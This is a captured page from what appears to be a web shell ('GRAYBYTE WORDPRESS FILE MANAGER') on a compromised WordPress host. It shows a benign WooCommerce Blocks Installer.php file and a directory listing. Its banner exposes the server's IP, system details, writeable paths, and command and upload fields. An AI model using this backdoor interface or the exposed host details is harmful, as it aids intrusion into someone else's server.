GRAYBYTE WORDPRESS FILE MANAGER6981

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/chahida.co.in/wp-content/plugins/woocommerce/src/Blocks/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/chahida.co.in/wp-content/plugins/woocommerce/src/Blocks//Installer.php
<?php
namespace Automattic\WooCommerce\Blocks;

/**
 * Installer class.
 * Handles installation of Blocks plugin dependencies.
 *
 * @internal
 */
class Installer {
	/**
	 * Initialize class features.
	 */
	public function init() {
		add_action( 'admin_init', array( $this, 'install' ) );
		add_filter( 'woocommerce_create_pages', array( $this, 'create_pages' ) );
	}

	/**
	 * Installation tasks ran on admin_init callback.
	 */
	public function install() {
		$this->maybe_create_tables();
	}

	/**
	 * Modifies default page content replacing it with classic shortcode block.
	 * We check for shortcode as default because after WooCommerce 8.3, block-based checkout is used by default.
	 * This only runs on Tools > Create Pages as the filter is not applied on WooCommerce plugin activation.
	 *
	 * @param array $pages Default pages.
	 * @return array
	 */
	public function create_pages( $pages ) {

		if ( '<!-- wp:shortcode -->[woocommerce_cart]<!-- /wp:shortcode -->' === ( $pages['cart']['content'] ?? null ) ) {
			$pages['cart']['content'] = '<!-- wp:woocommerce/classic-shortcode {"shortcode":"cart"} /-->';
		}

		if ( '<!-- wp:shortcode -->[woocommerce_checkout]<!-- /wp:shortcode -->' === ( $pages['checkout']['content'] ?? null ) ) {
			$pages['checkout']['content'] = '<!-- wp:woocommerce/classic-shortcode {"shortcode":"checkout"} /-->';
		}

		return $pages;
	}

	/**
	 * Set up the database tables which the plugin needs to function.
	 */
	public function maybe_create_tables() {
		global $wpdb;

		$schema_version    = 260;
		$db_schema_version = (int) get_option( 'wc_blocks_db_schema_version', 0 );

		if ( $db_schema_version >= $schema_version && 0 !== $db_schema_version ) {
			return;
		}

		$show_errors = $wpdb->hide_errors();
		$table_name  = $wpdb->prefix . 'wc_reserved_stock';
		$collate     = $wpdb->has_cap( 'collation' ) ? $wpdb->get_charset_collate() : '';
		$exists      = $this->maybe_create_table(
			$wpdb->prefix . 'wc_reserved_stock',
			"
			CREATE TABLE {$wpdb->prefix}wc_reserved_stock (
				`order_id` bigint(20) NOT NULL,
				`product_id` bigint(20) NOT NULL,
				`stock_quantity` double NOT NULL DEFAULT 0,
				`timestamp` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
				`expires` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
				PRIMARY KEY  (`order_id`, `product_id`)
			) $collate;
			"
		);

		if ( $show_errors ) {
			$wpdb->show_errors();
		}

		if ( ! $exists ) {
			return $this->add_create_table_notice( $table_name );
		}

		// Update succeeded. This is only updated when successful and validated.
		// $schema_version should be incremented when changes to schema are made within this method.
		update_option( 'wc_blocks_db_schema_version', $schema_version );
	}

	/**
	 * Create database table, if it doesn't already exist.
	 *
	 * Based on admin/install-helper.php maybe_create_table function.
	 *
	 * @param string $table_name Database table name.
	 * @param string $create_sql Create database table SQL.
	 * @return bool False on error, true if already exists or success.
	 */
	protected function maybe_create_table( $table_name, $create_sql ) {
		global $wpdb;

		if ( in_array( $table_name, $wpdb->get_col( $wpdb->prepare( 'SHOW TABLES LIKE %s', $table_name ), 0 ), true ) ) {
			return true;
		}

		$wpdb->query( $create_sql ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared

		return in_array( $table_name, $wpdb->get_col( $wpdb->prepare( 'SHOW TABLES LIKE %s', $table_name ), 0 ), true );
	}

	/**
	 * Add a notice if table creation fails.
	 *
	 * @param string $table_name Name of the missing table.
	 */
	protected function add_create_table_notice( $table_name ) {
		add_action(
			'admin_notices',
			function() use ( $table_name ) {
				echo '<div class="error"><p>';
				printf(
					/* translators: %1$s table name, %2$s database user, %3$s database name. */
					esc_html__( 'WooCommerce %1$s table creation failed. Does the %2$s user have CREATE privileges on the %3$s database?', 'woocommerce' ),
					'<code>' . esc_html( $table_name ) . '</code>',
					'<code>' . esc_html( DB_USER ) . '</code>',
					'<code>' . esc_html( DB_NAME ) . '</code>'
				);
				echo '</p></div>';
			}
		);
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
AI
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
AIContent
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Assets
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
BlockTypes
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Domain
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Images
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Integrations
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Patterns
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Payments
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Registry
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Shipping
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Templates
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Utils
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:19
giriqfky / giriqfky
0644
Assets.php
2.772 KB
December 27 2023 00:45:02
giriqfky / giriqfky
0644
AssetsController.php
17.471 KB
April 01 2025 15:51:36
giriqfky / giriqfky
0644
BlockPatterns.php
8.517 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
BlockTemplatesController.php
22.064 KB
November 14 2024 01:17:00
giriqfky / giriqfky
0644
BlockTemplatesRegistry.php
5.433 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
BlockTypesController.php
21.774 KB
June 23 2025 15:50:22
giriqfky / giriqfky
0644
InboxNotifications.php
0.569 KB
December 27 2023 00:45:02
giriqfky / giriqfky
0644
Installer.php
4.082 KB
June 25 2024 21:17:40
giriqfky / giriqfky
0644
Library.php
1.061 KB
December 27 2023 00:45:02
giriqfky / giriqfky
0644
Options.php
0.328 KB
December 27 2023 00:45:02
giriqfky / giriqfky
0644
Package.php
2.717 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
QueryFilters.php
17.692 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
TemplateOptions.php
1.206 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF